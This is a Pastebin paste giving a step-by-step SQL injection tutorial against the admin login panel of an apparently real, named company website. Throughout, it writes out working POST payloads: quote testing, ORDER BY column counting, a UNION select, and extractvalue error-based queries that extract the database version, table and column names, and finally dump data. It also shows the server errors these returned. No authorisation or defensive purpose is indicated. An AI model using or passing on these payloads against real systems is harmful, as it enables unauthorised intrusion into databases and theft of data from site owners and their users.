API tools faq
paste
Kyfx

XPATH Injection in Login Panel

Kyfx
Jul 25th, 2015
827
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.15 KB | None | 0 0
raw download clone embed print report
  1. So we Will Start our Manually SQL Injection.as we are injecting through POST Parameters so we need LIVE HTTP HEADERS Addon for Executing Post Parameters In Login Panel.
  2. Here is The Target site:
  3.  
  4. http://www.almoayedgroup.com/admin
  5.  
  6. Now open LIVE HTTP HEADERS in Mozilla Firefox .As You Can See there are username and password Boxes in Admin Login Panel.Insert Some Text there and Click On Log In Button.
  7.  
  8. After Clicking On the Log In Button, Now search the Post Parameters in Live HTTP HEADERS.Here are our Post Request that we have sent to the server.
  9.  
  10. From The Above Picture You Can See these are our Post Request Parameters
  11. POST REQUEST:user_id=kyfx&password=12345&submit=Sign+In
  12. Now let's Add Single Quote ' after user_id=kyfx' to check if the Login Panel is Vulnerable to SQL Injection.After Adding The Single Quote ' in Our Query Let's Send A POST Request to The Server And Click on REPLY Button.
  13. So After sending the POST Request to The Server it gives SQL Error !!
  14.  
  15. it Means it's Vulnerable to SQL Injection.Let's count The columns for Preparing Our UNION BASED command.so now we will Give our POST Request to the Server for Counting the number of Columns there.
  16. So this one is Our POST Parameter Now Add Order By Command For Counting columns:
  17. POST REQUEST:user_id=kyfx' order by 2%23&password=12345&submit=Sign+In
  18. it Gives No any Error !!
  19.  
  20. POST REQUEST:user_id=kyfx' order by 5%23&password=12345&submit=Sign+In
  21. Again No Error !!
  22.  
  23. POST REQUEST:user_id=kyfx' order by 6%23&password=12345&submit=Sign+In
  24. Here we Got Error !!
  25.  
  26. Error:Invalid query:Unknown column '6' in 'order clause'
  27. so it mean there are 5 Total Columns. Now Let's Prepare our UNION BASED command and Send a POST Request to the Server:
  28.  
  29.  
  30. POST REQUEST:user_id=kyfx' and 0 union select 1,2,3,4,5%23&password=12345&submit=Sign+In
  31. But It doesn't Give us Any Output There.So now Let's Try XPATH Injection for injecting it.
  32. So This is our XPATH query for version.You Can use XPATH with Extractvalue or UpdateXML.
  33. Let's Send a Post Request for getting the VERSION With XPATH Injection by Extractvalue .
  34.  
  35.  
  36. POST REQUEST:user_id=kyfx' and extractvalue(0x3a,concat(0x3a,version()))%23&password=12345&submit=Sign+In
  37. Here we Got The VERSION.
  38.  
  39. Invalid query:XPATH syntax error: ':5.5.32-log'
  40. So now next we Have To Get the Tables from the Database.Here is The Query for Tables and Send a Post Request.
  41. POST REQUEST:user_id=kyfx' and extractvalue(0x3a,concat(0x3a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))%23&password=12345&submit=Sign+In
  42.  
  43. Increase the LIMIT for other Tables.After Getting the Tables Next part is to Getting the columns from The Tables.So This one is our Query:
  44.  
  45. POST REQUEST:user_id=kyfx' and extractvalue(0x3a,concat(0x3a,(select concat(column_name) from information_schema.columns where table_name='TABLE_NAME_HERE' limit 0,1)))%23&password=12345&submit=Sign+In
  46.  
  47.  
  48. After Getting The Columns From the Tables Now Final Part is Dump Data from the Columns.
  49. So This one is FINAL QUERY:
  50.  
  51. POST REQUEST:user_id=kyfx' and extractvalue(0x3a,concat(0x3a,(select concat(COLUMN_NAME_HERE) from TABLE_NAME_HERE)))%23&password=12345&submit=Sign+In
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!